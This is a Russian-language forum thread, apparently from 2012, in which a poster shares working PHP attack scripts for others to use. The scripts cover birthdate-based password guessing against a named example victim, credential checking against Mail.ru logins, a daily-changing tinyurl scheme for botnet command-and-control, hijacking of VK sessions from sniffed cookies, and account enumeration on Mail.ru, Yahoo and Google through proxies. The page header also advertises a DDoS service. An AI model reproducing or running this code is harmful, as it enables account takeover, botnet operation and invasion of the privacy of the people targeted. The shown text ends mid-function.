Полезные скрипты [Perl],[PHP],[Python] - Страница 5 - Proxy-Base Community - Анонимность и безопасность в интернете.
Бесплатные прокси. Количество:
Прокси для пользователей форума (API). Количество:
Купить доступ к прокси-листам (API). Количество:
 



Информация по хайдам / репутации

(РЕКОМЕНДУЮ) №1 >>>DDos Атака<<|>>DDoS Service<<< ДДОС СЕРВИС<<|>>Заказать DDOS
Все инфопродукты и приватная информация бесплатно
Старый 08.11.2012, 20:51   #37 (permalink)
***VIP*** Reverser
Proxy-Base.Org Team
 
Аватар для staticspb
 
Регистрация: 07.11.2012
Адрес: http://gegechkori.ru
Сообщений: 138
Member ID: 32077
ICQ 900002
Skype static.spb

Репутация: 1191
Репутация: 1191
Сказал(а) спасибо: 90
Поблагодарили 397 раз(а) в 101 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Функция генерации возможных паролей, на основе имеющихся данных [PHP]
Функция генерирует все возможные пароли переставляя в разных вариациях дату рождения и подставляя заданные слова ($d - день, $m - месяц, $y - год, $words – массив с возможными словами)
Применение сами найдете

PHP код:
function generatePossiblePasswords($d$m$y$words) {
    
$masks = array(
        
'dmy''dym''mdy''myd''ymd''ydm',
        
'ddmy''ddym''mddy''mydd''ymdd''yddm',
        
'dmmy''dymm''mmdy''mmyd''ymmd''ydmm',
        
'dmyy''dyym''mdyy''myyd''yymd''yydm'
        
'dm''dy''md''my''ym''yd''ddm'
        
'ddy''mdd''mmy''ymm''ydd''dmm'
        
'dyy''mmd''myy''yym''yyd''ddd'
        
'yyy''mmm''dd''yy''mm''d''y''m'
    
);
    
    if(
strlen($d) < 2) {
        
$zd "0" $d;
    } else {
        
$zd $d;
    }

    if(
strlen($m) < 2) {
        
$zm "0" $m;
    } else {
        
$zm $m;
    }

    if(
strlen($y) == 2) {
        
$fy "19" $y;
    } else {
        
$fy $y;
        
$y substr($y22);
    }
    
    
$passwords = array();

    foreach(
$masks as $mask) {
        
$tmp str_replace('d'$d$mask);
        
$tmp str_replace('m'$m$tmp);
        
$tmp str_replace('y'$y$tmp);
        
$passwords[] = $tmp;

        
$tmp str_replace('d'$d$mask);
        
$tmp str_replace('m'$m$tmp);
        
$tmp str_replace('y'$fy$tmp);
        
$passwords[] = $tmp;
                            
        if(
$d !== $zd) {
            
$tmp str_replace('d'$zd$mask);
            
$tmp str_replace('m'$m$tmp);
            
$tmp str_replace('y'$y$tmp);
            
$passwords[] = $tmp;

            
$tmp str_replace('d'$d$mask);
            
$tmp str_replace('m'$m$tmp);
            
$tmp str_replace('y'$fy$tmp);
            
$passwords[] = $tmp;

            if(
$m !== $zm) {
                
$tmp str_replace('d'$zd$mask);
                
$tmp str_replace('m'$zm$tmp);
                
$tmp str_replace('y'$y$tmp);
                
$passwords[] = $tmp;

                
$tmp str_replace('d'$zd$mask);
                
$tmp str_replace('m'$m$tmp);
                
$tmp str_replace('y'$fy$tmp);
                
$passwords[] = $tmp;
            }
        }
        
        if((
$m !== $zm) && ($d == $zd)) {
            
$tmp str_replace('d'$d$mask);
            
$tmp str_replace('m'$zm$tmp);
            
$tmp str_replace('y'$y$tmp);
            
$passwords[] = $tmp;

            
$tmp str_replace('d'$d$mask);
            
$tmp str_replace('m'$m$tmp);
            
$tmp str_replace('y'$fy$tmp);
            
$passwords[] = $tmp;
        }
    }
    
    
$out_passwords = array();

    foreach(
$passwords as $password) {
        foreach(
$words as $word) {
            
$out_passwords[] = $password;
            
$out_passwords[] = $word $password;
            
$out_passwords[] = $password $word;
        }
    }
    
    
asort($out_passwords);
    return 
array_unique($out_passwords);

Пример использования:
Представим, что у нас есть мыло "masha@host.com". Мы знаем, что Маша родилась 15.07.86, и живет в СПб. Вставляем дату в функцию, и добавляем слово "маша" в разных видах, а так-же регион СПб – "78" и несколько стандартный "приставок" – "asd" и "qwe".

PHP код:
$passwords generatePossiblePasswords(15,7,1986, array('masha''vfif''маша''78''asd''qwe'));
foreach(
$passwords as $password) {
    echo 
$password "<br />";

На выходе получаем такой список: http://textsave.de/?p=145031 (в данном случае, получилось 1677 паролей)

Удачи!

Последний раз редактировалось staticspb; 08.11.2012 в 21:45.
staticspb вне форума   Ответить с цитированием
3 пользователя(ей) сказали cпасибо:
Старый 10.11.2012, 16:37   #38 (permalink)
***VIP*** Reverser
Proxy-Base.Org Team
 
Аватар для staticspb
 
Регистрация: 07.11.2012
Адрес: http://gegechkori.ru
Сообщений: 138
Member ID: 32077
ICQ 900002
Skype static.spb

Репутация: 1191
Репутация: 1191
Сказал(а) спасибо: 90
Поблагодарили 397 раз(а) в 101 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Проверка логина и пароля на @Mail.ru [PHP]

PHP код:
function checkMailruAuth($email$password$proxy NULL) {

    
$allowed_domains = array('mail.ru''inbox.ru''bk.ru''list.ru');

    if(
$password == false) {
        
$result = array('error'=>'1''email'=> $email'password'=> $password'status'=>'Не указан пароль');
        return 
$result;
    }

    if(
$email == false) {
        
$result = array('error'=>'2''email'=> $email'password'=> $password'status'=>'Не указан e-mail адрес');
        return 
$result;
    }

    
$split explode('@'$email);
    if((
count($split) == 1) || ($split == FALSE)) {
        
$result = array('error'=>'2''email'=> $email'password'=> $password'status'=>'Не указан e-mail адрес');
        return 
$result;
    }

    
$domain_split explode('.'$split[1]);
    
$username strtolower($split[0]);
    
$domain strtolower($domain_split[0]);

    if(!
in_array(strtolower($split[1]), $allowed_domains)) {
        
$result = array('error'=>'3''email'=> $email'password'=> $password'status'=>'Указан неизвестный домен '.strtolower($split[1]));
        return 
$result;
    }

    
$data = array(
        
'login_from' => '',
        
'lang' => '',
        
'setLang' => '',
        
'Login' => $username,
        
'Domain' => $domain '.ru',
        
'Password' => $password,
        
'level' => '1'
    
);
    
    
$preg_mask '/<meta http-equiv="refresh" content="0;url=(.*?)">/is';
    
$res post('https://auth.mail.ru/cgi-bin/auth'$dataNULL$proxy);
    
$preg_res preg_match($preg_mask$res$items);

    if (
strpos($items[1], 'fail=1') !== false) {
        if (
strpos($items[1], 'captcha=1') !== false) {
            
$result = array('error'=>'5''email'=> $email'password'=> $password'status'=>'Указан неверный логин или пароль, CAPTCHA активирована');
            return 
$result;
        } else {
            
$result = array('error'=>'4''email'=> $email'password'=> $password'status'=>'Указан неверный логин или пароль');
            return 
$result;
        }
    }
    
    if (
$items[1] == 'https://e.mail.ru/cgi-bin/msglist?back=1') {
        
$result = array('error'=>'0''email'=> $email'password'=> $password'status'=>'Вход выполнен');
        return 
$result;
    }


Если вы заметили, то все мои функции заточены под последующий вывод через json_encode, так что прикрутить к html страничке – проще некуда) AJAX вам в помощь...

Добавлено через 22 минуты 16 секунд

Генерация псевдо-случайного "0-day" адреса через tinyurl [PHP]

В своё время, я с столкнулся с проблемой управления удаленными ботами: хотелось что-бы они принимали инструкции через http запрос, используя заранее известные им адреса, и каждый день адреса были-бы новыми. Таким образом сервер "управления" практически невозможно обезвредить, ведь он может быть разным каждый день.
Немного поразмыслив я сделал такую штуку:

PHP код:
function generate0DayAlias($salt ''$full false) {
    
$pattern_a '0123456789abcdef';
    
$pattern_b 'abcdefghijklmnopqrstuvwxyz';
    
$date date('d-m-Y'time());
    
$link md5(md5($date) . md5(md5($date $salt) . md5(md5($date)) . md5($salt)));
    
$pos hexdec(substr($link01));
    
$off = ((hexdec(substr($link$pos 161)) + 7) * (hexdec(substr($link$pos 81))) + 2) * (hexdec(substr($link$pos 41)) + 3);
    
$len max(hexdec(substr($link$pos1)), 14);

    for(
$i=0;$i<$off;$i++) {
        
$new $off * ($i+1);
        while(
true) {
            if (
$new <= strlen($pattern_b)) break;
            
$new ceil($new - (($new $len) / 2));
        }
        if (
$new 5$new 5;
        
$pattern_b substr($pattern_b$new1) . substr($pattern_b0$new) . substr($pattern_b, ($new+1), (strlen($pattern_b)-($new+1)));
    }

    for(
$i=0;$i<strlen($link);$i++) {
        
$new strpos($pattern_a$link[$i]);
        
$link[$i] = $pattern_b[$new];
    }

    
$link = (($full == true) ? 'http://tinyurl.com/' '') . substr($link0$len);
    return 
$link;
}

function 
generate0DayLink($url$alias) {
    
$res file_get_contents("http://tinyurl.com/create.php?alias=" $alias "&url=" $url);
    
$fail strpos($res"The custom alias you've chosen is not available");
    
$pos strpos($res"TinyURL was created!");
    
$result = ((($fail == false) && ($pos !== false)) ? "http://tinyurl.com/" $alias false);
    return  
$result;

Как можно увидеть в коде, функция генерирует случайный адрес (используя "соль" и дату), и регистрирует его как tinyurl ссылку.

Т.е. на управляющем сервере я раз в день запускаю что-то вроде этого
PHP код:
$alias generate0DayAlias('cmd');
$link generate0DayLink('http://somehostname.com/somedir/commands.txt'$alias);
if (
$link !== false) {
    echo 
$link;
} else {
    echo 
"Error shortening url.";

В результате я получаю ссылку на tinyurl, по которой бот найдет мои "команды на сегодня" (http://somehostname.com/somedir/commands.txt превратилась в http://tinyurl.com/cnsrdnzocesyoj)

Бот так-же генерирует ссылку, и пробует на нее зайти. Так как генерация псевдо-случайна, и зависит от "соли" и даты – каждый день ссылка будет разной, но и бот и сервер сгенерируют её одинаково. А "солью" можно делать сразу сколько угодно ссылок на день
Только помните! Если вы планируете использовать её в своих "проектах", добавляйте к соли префиксы, например "_staticspb_bot1_cmd" – так наши ссылки не пересекутся
Удачного использования!

Добавлено через 1 час 54 минуты 7 секунд

Расширенная функция получения IP-адреса пользователя за прокси-сервером [PHP]

Если есть возможность узнать по HTTP-заголовкам адрес пользователя за прокси-сервером – она это сделает
В принципе, ничего нового. Просто выкладываю в том виде, в котором использую сам.

PHP код:
function getRealIpAddr() {
    
$header_checks = array(
        
'CLIENT_IP'
        
'FORWARDED'
        
'FORWARDED_FOR'
        
'FORWARDED_FOR_IP'
        
'HTTP_CLIENT_IP'
        
'HTTP_FORWARDED'
        
'HTTP_FORWARDED_FOR'
        
'HTTP_FORWARDED_FOR_IP'
        
'HTTP_PC_REMOTE_ADDR'
        
'HTTP_PROXY_CONNECTION',
        
'HTTP_VIA'
        
'HTTP_X_FORWARDED'
        
'HTTP_X_FORWARDED_FOR'
        
'HTTP_X_FORWARDED_FOR_IP'
        
'HTTP_X_IMFORWARDS'
        
'HTTP_XROXY_CONNECTION',
        
'VIA'
        
'X_FORWARDED'
        
'X_FORWARDED_FOR',
        
'ZHTTP_CACHE_CONTROL',
        
'HTTP_COMING_FROM',
        
'HTTP_X_COMING_FROM',
        
'HTTP_PROXY',
        
'HTTP_XPROXY',
        
'HTTP_CACHE_INFO',
        
'HTTP_XONNECTION',
        
'HTTP_PRAGMA'       
    
);

    foreach (
$header_checks as $key) {
        if (
array_key_exists($key$_SERVER) === true) {
            foreach (
explode(','$_SERVER[$key]) as $ip) {
                
$ip trim($ip);
                if (
filter_var($ipFILTER_VALIDATE_IPFILTER_FLAG_IPV4) !== false) {
                    return 
$ip;
                }
            }
        }
    }


Последний раз редактировалось staticspb; 20.11.2012 в 20:37.
staticspb вне форума   Ответить с цитированием
3 пользователя(ей) сказали cпасибо:
Старый 11.11.2012, 19:11   #39 (permalink)
***VIP*** Reverser
Proxy-Base.Org Team
 
Аватар для staticspb
 
Регистрация: 07.11.2012
Адрес: http://gegechkori.ru
Сообщений: 138
Member ID: 32077
ICQ 900002
Skype static.spb

Репутация: 1191
Репутация: 1191
Сказал(а) спасибо: 90
Поблагодарили 397 раз(а) в 101 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Поиск и проверка логинов ВКонтакте по данным из cookies или сетевых пакетов [PHP]

Немного странная штука, но иногда полезная. Особенно для тех, кто занимается снифингом в сети. Ей можно "скормить" файлы с сетевыми пакетами, на что она выдаст список найденных куков контакта, данные пользователей и даст возможность сразу зайти "под" ними. Используется "дырка не дырка" с полем remixsid.

PHP код:
set_time_limit(0);
function 
vk_get($url$remixsid$user_agent NULL$proxy NULL$auth NULL$timeout NULL) { 
    
$ch curl_init();   
    
curl_setopt($chCURLOPT_URL"http://vk.com/" $url); 
    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
    
curl_setopt($chCURLOPT_FAILONERRORtrue); 
    
curl_setopt($chCURLOPT_MUTEtrue); 
    
curl_setopt($chCURLOPT_COOKIE'remixsid=' $remixsid ';');

    if (empty(
$timeout)) {
        
$timeout 5;
    }
    
curl_setopt($chCURLOPT_TIMEOUT$timeout);
    
curl_setopt($chCURLOPT_CONNECTTIMEOUT$timeout);
    
    if (empty(
$user_agent)) {
        
$user_agent 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208';
    }
    
    
curl_setopt($chCURLOPT_USERAGENT"$user_agent"); 

    if (!empty(
$proxy)) {
        
curl_setopt($chCURLOPT_PROXY"$proxy"); 
        
curl_setopt ($chCURLOPT_HTTPPROXYTUNNEL$proxy);
    }

    if (!empty(
$auth)) {
        
curl_setopt($chCURLOPT_PROXYUSERPWD"$auth");
    }

    
$ss curl_exec($ch); 
    
curl_close($ch); 
    return 
$ss
}
                        
if (isset(
$_GET['remixsid'])) {
    
$location 'feed';
    if (isset(
$_GET['location'])) $location $_GET['location'];
    
$res vk_get($location$_GET['remixsid']);
    
$res str_replace('src="/''src="http://vk.com/'$res);
    
$res str_replace('href="/''href="http://vk.com/'$res);
    
$res str_replace("src='/""src='http://vk.com/"$res);
    
$res str_replace("href='/""href='http://vk.com/"$res);
    echo 
$res;
    exit;
}

function 
vkPageByRemixsid($remixsid) {
    
$res vk_get("feed"$remixsid);
    
$preg_res preg_match_all('/<a href="\/([a-zA-Z0-9]{1,})" onclick="return nav.go\(this, event, \{noback: true\}\)" id="myprofile" class="left_row"><span class="left_label inl_bl">/'$res$itemsPREG_SET_ORDER);
    if (
$preg_res != false) {
        return 
'http://vk.com/' $items[0][1];
    }
      return 
false;
}

$chunk file_get_contents('capture/chunk');

$preg_res preg_match_all('/remixsid=(.*?);/'$chunk$itemsPREG_SET_ORDER);
$array = array();
if (
$preg_res != false) {
    foreach (
$items as $item) {
        if (
strlen($item[1]) == 68) {
            
$array[] = $item[1];
        }
    }


$new_array array_unique($array);

echo 
"<h3>Обнаруженные сессии vk.com:</h3>";

foreach (
$new_array as $item) {
    
$url vkPageByRemixsid($item);
    if (
$url !== false) {
        echo 
'<p style="color:#009000">' $item ': <a target="_blank" href="' $url '">' $url '</a><br />' .
        
'<a target="_blank" href="?remixsid=' $item'&location=mail">Сообщения</a> | ' 
        
'<a target="_blank" href="?remixsid=' $item'&location=im">Диалоги</a> | ' 
        
'<a target="_blank" href="?remixsid=' $item'&location=feed">Новости</a> | ' 
        
'<a target="_blank" href="?remixsid=' $item'&location=friends&section=online">Друзья</a> | ' 
        
'<a target="_blank" href="?remixsid=' $item'&location=video">Видео</a> | ' 
        
'<a target="_blank" href="?remixsid=' $item'&location=audio">Аудио</a> | ' 
        
'<a target="_blank" href="?remixsid=' $item'&location=groups">Группы</a> | ' 
        
'<a target="_blank" href="?remixsid=' $item'&location=fave">Закладки</a> | ' 
        
'<a target="_blank" href="?remixsid=' $item'&location=settings">Настройки</a> | ' 
        
'<a target="_blank" href="?remixsid=' $item'&location=apps">Приложения</a> | ' 
        
'<a target="_blank" href="?remixsid=' $item'&location=docs">Документы</a>' 
        
'</p>';
    } else {
        echo 
'<p style="color:#900000">' $item ': Сессия закрыта.</p>';
    }
    echo 
'<hr align="left" width="100%" size="1" color="#666666" />';

Достаточно только заменить имя файла на ваше, и все заработает.
В этом месте:
PHP код:
$chunk file_get_contents('capture/chunk'); 
Удачи!)
staticspb вне форума   Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
Старый 14.11.2012, 19:43   #40 (permalink)
***VIP*** Reverser
Proxy-Base.Org Team
 
Аватар для staticspb
 
Регистрация: 07.11.2012
Адрес: http://gegechkori.ru
Сообщений: 138
Member ID: 32077
ICQ 900002
Skype static.spb

Репутация: 1191
Репутация: 1191
Сказал(а) спасибо: 90
Поблагодарили 397 раз(а) в 101 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Проверка на существование логина @Mail.ru [PHP]

Имеется простенькая защита от ботов, так что она совсем не помешала. Как обычно "заточено" под json_encode-вывод, как всегда с поддержкой http/s прокси.
Писал под себя, так что и отдаю "как есть".
Функции get и post те-же самые что и во всех моих функциях.
В общем – пользуйтесь

PHP код:
function get($url$user_agent NULL$proxy NULL$auth NULL$timeout NULL) { 
    
$ch curl_init();   
    
curl_setopt($chCURLOPT_URL$url); 
    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
    
curl_setopt($chCURLOPT_MUTEtrue); 

    if (empty(
$timeout)) {
        
$timeout 5;
    }
    
curl_setopt($chCURLOPT_TIMEOUT$timeout);
    
curl_setopt($chCURLOPT_CONNECTTIMEOUT$timeout);
    
    if (empty(
$user_agent)) {
        
$user_agent 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208';
    }
    
    
curl_setopt($chCURLOPT_USERAGENT"$user_agent"); 

    if (!empty(
$proxy)) {
        
curl_setopt ($chCURLOPT_PROXY"$proxy"); 
        
curl_setopt ($chCURLOPT_HTTPPROXYTUNNEL"$proxy");
    }

    if (!empty(
$auth)) {
        
curl_setopt($chCURLOPT_PROXYUSERPWD"$auth");
    }

    
$ss curl_exec($ch); 
    
curl_close($ch); 
    return 
$ss


function 
post($url$postdata$user_agent NULL$proxy NULL$auth NULL$timeout NULL) { 
    
$ch curl_init();   
    
curl_setopt($chCURLOPT_URL$url); 
    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
    
curl_setopt($chCURLOPT_MUTEtrue); 

    
curl_setopt($chCURLOPT_POST1);
    
curl_setopt($chCURLOPT_POSTFIELDS$postdata);
    
    if (empty(
$timeout)) {
        
$timeout 5;
    }
    
curl_setopt($chCURLOPT_TIMEOUT$timeout);
    
curl_setopt($chCURLOPT_CONNECTTIMEOUT$timeout);
    
    if (empty(
$user_agent)) {
        
$user_agent 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208';
    }
    
    
curl_setopt($chCURLOPT_USERAGENT"$user_agent"); 

    if (!empty(
$proxy)) {
        
curl_setopt($chCURLOPT_PROXY"$proxy"); 
        
curl_setopt ($chCURLOPT_HTTPPROXYTUNNEL$proxy);
    }

    if (!empty(
$auth)) {
        
curl_setopt($chCURLOPT_PROXYUSERPWD"$auth");
    }

    
$ss curl_exec($ch); 
    
curl_close($ch); 
    return 
$ss
}            

function 
checkMailruUsername($email$proxy NULL$auth NULL$timeout NULL) {
    
$allowed_domains = array('mail.ru''inbox.ru''bk.ru''list.ru');
    if(
$email == false) {
        
$result = array('error'=>5'error-message'=>'Не указан e-mail адрес');
        return 
$result;
    }

    
$split explode('@'$email);
    if((
count($split) == 1) || ($split == FALSE)) {
        
$result = array('error'=>5'error-message'=>'Не указан e-mail адрес');
        return 
$result;
    }

    
$domain_split explode('.'$split[1]);
    
$username strtolower($split[0]);
    
$domain strtolower($domain_split[0]) . '.ru';

    if(!
in_array(strtolower($split[1]), $allowed_domains)) {
        
$result = array('error'=>6'error-message'=>'Указан неизвестный домен '.strtolower($split[1]));
        return 
$result;
    }

    
$idkey_mask '/<input autocomplete="off" name="(.*?)" value="" type="text" class="inPut fll"/i';
    
$idkey_mask2 '/<input type="hidden" name="x_reg_id" value="(.*?)"/i';
    
$idkey_get get('http://e.mail.ru/cgi-bin/signup?from=main'NULL$proxy$auth$timeout);

       
$res preg_match($idkey_mask$idkey_get$matches);
    if(!
$res) {
        
$result = array('error'=>7'error-text'=>'Ошибка получения поля "name"');
        return 
$result;
    }
    
       
$res preg_match($idkey_mask2$idkey_get$matches2);
    if(!
$res) {
        
$result = array('error'=>9'error-text'=>'Ошибка получения поля "x_reg_id"');
        return 
$result;
    }

    
$idkey $matches[1];
    
$idkey2 $matches2[1];

    
$postdata = array(
        
'RegistrationDomain'=> $domain,
        
$idkey=>$username,
        
'x_reg_id'=>$idkey2
    
);

    
$res post('http://e.mail.ru/cgi-bin/checklogin'$postdataNULL$proxy$auth$timeout);

    if (
$res === false) {
        
$result = array('error'=>1'error-text'=>'Ошибка соединения');
        return 
$result;
    }
    
    if (
$res == "0") {
        
$result = array('error'=>0'status'=>0'message'=>'Пользователь не найден');
        return 
$result;
    } elseif (
$res == 'EX_USEREXIST') {
        
$result = array('error'=>0'status'=>1'message'=>'Пользователь существует');
        return 
$result;
    } elseif (
$res == 'EX_INVALIDUSERNAME') {
        
$result = array('error'=>2'message'=>'Недопустимоя имя пользователя');
        return 
$result;
    } elseif (
$res == '109') {
        
$result = array('error'=>3'message'=>'Ошибка запроса');
        return 
$result;
    } else {
        
$result = array('error'=>4'message'=>'Неизвестный ответ сервера');
        return 
$result;
    }                  

Добавлено через 2 минуты 38 секунд

Кстати, есть у меня желание – совместить все мои "проверщики существования акков", и сделать что-то наподобие сервиса проверки мыл. ввел мыло – увидел сразу что на нем "висит" (appleid, twitter, vk, fb и т.п.) интересно кому?)

Добавлено через 2 часа 51 минуту 55 секунд

Проверка на существование логина Yahoo.com (yahoo.com, ymail.com, rocketmail.com) [PHP]

Легко и просто. Одно "НО":
Настоятельно рекомендуется использовать HTTPS прокси-серверы! При написании функции, и чуть больше 30 проверок – я получил БАН!)) Т.е. yahoo открывается, но упорно не хочет проверять имя пользователя, даже через родной web-интерфейс.
Пользуйтесь осторожно!))

PHP код:
function get($url$user_agent NULL$proxy NULL$auth NULL$timeout NULL) { 
    
$ch curl_init();   
    
curl_setopt($chCURLOPT_URL$url); 
    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
    
curl_setopt($chCURLOPT_MUTEtrue); 

    if (empty(
$timeout)) {
        
$timeout 5;
    }
    
curl_setopt($chCURLOPT_TIMEOUT$timeout);
    
curl_setopt($chCURLOPT_CONNECTTIMEOUT$timeout);
    
    if (empty(
$user_agent)) {
        
$user_agent 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208';
    }
    
    
curl_setopt($chCURLOPT_USERAGENT"$user_agent"); 

    if (!empty(
$proxy)) {
        
curl_setopt ($chCURLOPT_PROXY"$proxy"); 
        
curl_setopt ($chCURLOPT_HTTPPROXYTUNNEL"$proxy");
    }

    if (!empty(
$auth)) {
        
curl_setopt($chCURLOPT_PROXYUSERPWD"$auth");
    }

    
$ss curl_exec($ch); 
    
curl_close($ch); 
    return 
$ss
}

function 
checkYahooUsername($email$proxy NULL$auth NULL$timeout NULL) {
    
$allowed_domains = array('yahoo.com''ymail.com''rocketmail.com');
    if(
$email == false) {
        
$result = array('error'=>4'error-message'=>'Не указан e-mail адрес');
        return 
$result;
    }

    
$split explode('@'$email);
    if((
count($split) == 1) || ($split == FALSE)) {
        
$result = array('error'=>4'error-message'=>'Не указан e-mail адрес');
        return 
$result;
    }

    
$domain_split explode('.'$split[1]);
    
$username strtolower($split[0]);
    
$domain strtolower($domain_split[0]) . strtolower($domain_split[1]);

    if(!
in_array(strtolower($split[1]), $allowed_domains)) {
        
$result = array('error'=>5'error-message'=>'Указан неизвестный домен '.strtolower($split[1]));
        return 
$result;
    }

    
$res get('https://edit.yahoo.com/reg_json?PartnerName=yahoo_default&RequestVersion=1&AccountID=' $email '&ApiName=ValidateFields'NULL$proxy$auth$timeout);
    if (!
$res) {
        
$result = array('error'=>1'error-text'=>'Ошибка соединения');
        return 
$result;
    }

    
$json json_decode($res);
    if (
$json) {
        if (
$json->ResultCode == 'SUCCESS') {
            
$jsonult = array('error'=>0'status'=>0'message'=>'Пользователь не найден');
            return 
$jsonult;
        } elseif (
$json->ResultCode == 'PERMANENT_FAILURE') {
            
$error_code $json->ErrorList[0]->ErrorCode;
            if (
$error_code == '100030') {
                
$jsonult = array('error'=>3'status'=>1'message'=>'Имя зарезервировано Yahoo');
                return 
$jsonult;
            } elseif(
$error_code == '100000') {
                
$jsonult = array('error'=>3'status'=>1'message'=>'Пользователь существует');
                return 
$jsonult;
            } else {
                
$jsonult = array('error'=>3'status'=>1'message'=>'Пользователь существует или имя зарезервировано Yahoo');
                return 
$jsonult;
            }
        } else {
            
$jsonult = array('error'=>2'message'=>'Неизвестный ответ сервера');
            return 
$jsonult;
        }
            
    } else {
        
$result = array('error'=>2'message'=>'Неизвестный ответ сервера');
        return 
$result;
    }


Последний раз редактировалось staticspb; 17.11.2012 в 17:01.
staticspb вне форума   Ответить с цитированием
4 пользователя(ей) сказали cпасибо:
Старый 14.11.2012, 20:14   #41 (permalink)
SOCKS5
 
Аватар для Lemmay
 
Регистрация: 01.07.2012
Сообщений: 220
Member ID: 28826

Репутация: 744
Репутация: 744
Сказал(а) спасибо: 1,102
Поблагодарили 248 раз(а) в 122 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Цитата:
Сообщение от staticspb Посмотреть сообщение
Кстати, есть у меня желание – совместить все мои "проверщики существования акков", и сделать что-то наподобие сервиса проверки мыл. ввел мыло – увидел сразу что на нем "висит" (appleid, twitter, vk, fb и т.п.) интересно кому?)
думаю будет много тех кто захочет такое увидеть и опробывать
__________________
"Работаю" за спасибки.
Lemmay вне форума   Ответить с цитированием
3 пользователя(ей) сказали cпасибо:
Старый 14.11.2012, 20:18   #42 (permalink)
***VIP*** Reverser
Proxy-Base.Org Team
 
Аватар для staticspb
 
Регистрация: 07.11.2012
Адрес: http://gegechkori.ru
Сообщений: 138
Member ID: 32077
ICQ 900002
Skype static.spb

Репутация: 1191
Репутация: 1191
Сказал(а) спасибо: 90
Поблагодарили 397 раз(а) в 101 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Цитата:
Сообщение от Lemmay Посмотреть сообщение
думаю будет много тех кто захочет такое увидеть и опробывать
Ну тогда, пожалуй, сделаю)))) только вот fb ооочень уж закрученно борется с автоматикой ну ничего, даже интереснее когда "она" сопротивляется
staticspb вне форума   Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
Старый 18.11.2012, 14:45   #43 (permalink)
***VIP*** Reverser
Proxy-Base.Org Team
 
Аватар для staticspb
 
Регистрация: 07.11.2012
Адрес: http://gegechkori.ru
Сообщений: 138
Member ID: 32077
ICQ 900002
Skype static.spb

Репутация: 1191
Репутация: 1191
Сказал(а) спасибо: 90
Поблагодарили 397 раз(а) в 101 сообщениях
Радость Re: Полезные скрипты [Perl],[PHP],[Python]

Проверка на существование логина Google [PHP]

В принципе опять ничего сложного. Хоть и потратил на "ковыряние" с защитой google почти час – всё оказалось проще чем я думал)) Всё работает))) Пользуйтесь!)

PHP код:
function get($url$user_agent NULL$proxy NULL$auth NULL$timeout NULL) { 
    
$ch curl_init();   
    
curl_setopt($chCURLOPT_URL$url); 
    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 

    if (empty(
$timeout)) {
        
$timeout 5;
    }
    
curl_setopt($chCURLOPT_TIMEOUT$timeout);
    
curl_setopt($chCURLOPT_CONNECTTIMEOUT$timeout);
    
    if (empty(
$user_agent)) {
        
$user_agent 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208';
    }
    
    
curl_setopt($chCURLOPT_USERAGENT"$user_agent"); 

    if (!empty(
$proxy)) {
        
curl_setopt ($chCURLOPT_PROXY"$proxy"); 
        
curl_setopt ($chCURLOPT_HTTPPROXYTUNNEL"$proxy");
    }

    if (!empty(
$auth)) {
        
curl_setopt($chCURLOPT_PROXYUSERPWD"$auth");
    }

    
$ss curl_exec($ch); 
    
curl_close($ch); 
    return 
$ss
}

function 
post($url$postdata$user_agent NULL$proxy NULL$auth NULL$timeout NULL) { 
    
$ch curl_init();   
    
curl_setopt($chCURLOPT_URL$url); 
    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 

    
curl_setopt($chCURLOPT_POST1);
    
curl_setopt($chCURLOPT_POSTFIELDS$postdata);
    
    if (empty(
$timeout)) {
        
$timeout 5;
    }
    
curl_setopt($chCURLOPT_TIMEOUT$timeout);
    
curl_setopt($chCURLOPT_CONNECTTIMEOUT$timeout);
    
    if (empty(
$user_agent)) {
        
$user_agent 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208';
    }
    
    
curl_setopt($chCURLOPT_USERAGENT"$user_agent"); 

    if (!empty(
$proxy)) {
        
curl_setopt($chCURLOPT_PROXY"$proxy"); 
        
curl_setopt ($chCURLOPT_HTTPPROXYTUNNEL$proxy);
    }

    if (!empty(
$auth)) {
        
curl_setopt($chCURLOPT_PROXYUSERPWD"$auth");
    }

    
$ss curl_exec($ch); 
    
curl_close($ch); 
    return 
$ss
}

function 
checkGoogleUsername($email$proxy NULL$auth NULL$timeout NULL) {
    
$allowed_domains = array('gmail.com''googlemail.com');
    if(
$email == false) {
        
$result = array('error'=>10'message'=>'Не указан e-mail адрес');
        return 
$result;
    }

    
$split explode('@'$email);
    if((
count($split) == 1) || ($split == FALSE)) {
        
$result = array('error'=>10'message'=>'Не указан e-mail адрес');
        return 
$result;
    }

    
$domain_split explode('.'$split[1]);
    
$username strtolower($split[0]);
    
$domain strtolower($domain_split[0]) . $domain_split[1];

    if(!
in_array(strtolower($split[1]), $allowed_domains)) {
        
$result = array('error'=>11'message'=>'Указан неизвестный домен '.strtolower($split[1]));
        return 
$result;
    }
    
    
